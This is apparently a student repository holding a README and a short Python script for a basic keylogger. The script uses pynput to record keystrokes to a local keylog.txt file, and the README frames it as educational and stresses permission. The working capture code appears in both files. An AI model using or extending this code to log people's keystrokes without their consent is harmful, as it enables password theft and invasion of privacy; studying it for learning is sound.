├── README.md └── task-04.py /README.md: -------------------------------------------------------------------------------- 1 | # Simple Keylogger 2 | 3 | This project demonstrates a basic keylogger program that records and logs keystrokes. The keylogger captures the keys pressed by the user and saves them to a file named `keylog.txt`. 4 | 5 | **Important Note**: This keylogger is intended for educational purposes only. Always ensure you have explicit permission to log keystrokes on any system you use this code on. Unauthorized use of keyloggers can be illegal and unethical. 6 | 7 | ## Features 8 | 9 | - Logs all keystrokes pressed by the user. 10 | - Saves the logged keystrokes to a file named `keylog.txt`. 11 | 12 | ## Prerequisites 13 | 14 | - Python 3.x 15 | - `pynput` library 16 | 17 | ## Installation 18 | 19 | 1. Clone this repository to your local machine: 20 | 21 | ```sh 22 | git clone https://github.com/oraclebrain/PRODIGY_CS_04.git 23 | ``` 24 | 25 | 2. Navigate to the project directory: 26 | 27 | ```sh 28 | cd PRODIGY_CS_04 29 | ``` 30 | 31 | 3. Install the required dependencies: 32 | 33 | ```sh 34 | pip install pynput 35 | ``` 36 | 37 | ## Usage 38 | 39 | 1. Run the keylogger script: 40 | 41 | ```sh 42 | python keylogger.py 43 | ``` 44 | 45 | 2. The script will start logging keystrokes and save them to `keylog.txt`. 46 | 47 | ## Code Overview 48 | 49 | ```python 50 | from pynput import keyboard 51 | 52 | def keyPressed(key): 53 | print(str(key)) 54 | with open("keylog.txt", 'a') as logkey: 55 | try: 56 | char = key.char 57 | logkey.write(char) 58 | except: 59 | print("Error getting char") 60 | 61 | if __name__ == "__main__": 62 | listener = keyboard.Listener(on_press=keyPressed) 63 | listener.start() 64 | input() 65 | -------------------------------------------------------------------------------- /task-04.py: -------------------------------------------------------------------------------- 1 | from pynput import keyboard 2 | 3 | def keyPressed(key): 4 | print(str(key)) 5 | with open("keylog.txt", 'a') as logkey: 6 | try: 7 | char = key.char 8 | logkey.write(char) 9 | except: 10 | print("Error getting char") 11 | 12 | if __name__=="__main__": 13 | listener = keyboard.Listener(on_press=keyPressed) 14 | listener.start() 15 | # Use an infinite loop to keep the program running 16 | input() --------------------------------------------------------------------------------